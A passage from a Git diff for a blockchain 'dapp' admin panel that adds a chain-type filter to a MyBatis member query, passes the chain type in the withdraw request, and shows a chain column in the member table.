     <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity">
-        select * from dapp_member where address=#{address}
+        select * from dapp_member where address=#{address} and chain_type=#{chain}
     </select>
 
     <select id="selectMemberInfoByInviteId" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity">
diff --git a/src/main/resources/templates/febs/views/dapp/member.html b/src/main/resources/templates/febs/views/dapp/member.html
index 042c393..5559c6d 100644
--- a/src/main/resources/templates/febs/views/dapp/member.html
+++ b/src/main/resources/templates/febs/views/dapp/member.html
@@ -191,7 +191,7 @@
 
             if (layEvent === 'changeMoney') {
                 febs.modal.confirm('提现', "是否提现该用户?", function () {
-                    febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
+                    febs.post(ctx + "member/changeMoney/" + data.chainType + "/" +data.address, null, function () {
                         febs.alert.success('提现成功');
                         $query.click();
                     });
@@ -247,6 +247,7 @@
                     {field: 'address', title: '地址', minWidth: 130},
                     {title: '余额(USDT)', templet: '#balance', minWidth: 120},
                     {title: '授权列表', templet: '#approve-list', minWidth: 110},
+                    {field: 'chainType', title: '所属链', minWidth: 130},
                     {field: 'inviteId', title: '邀请码', minWidth: 130},
                     {field: 'refererId', title: '上级邀请码', minWidth: 130},
                     {title: '账户状态', templet: '#user-status', minWidth: 120},

--
Gitblit v1.9.1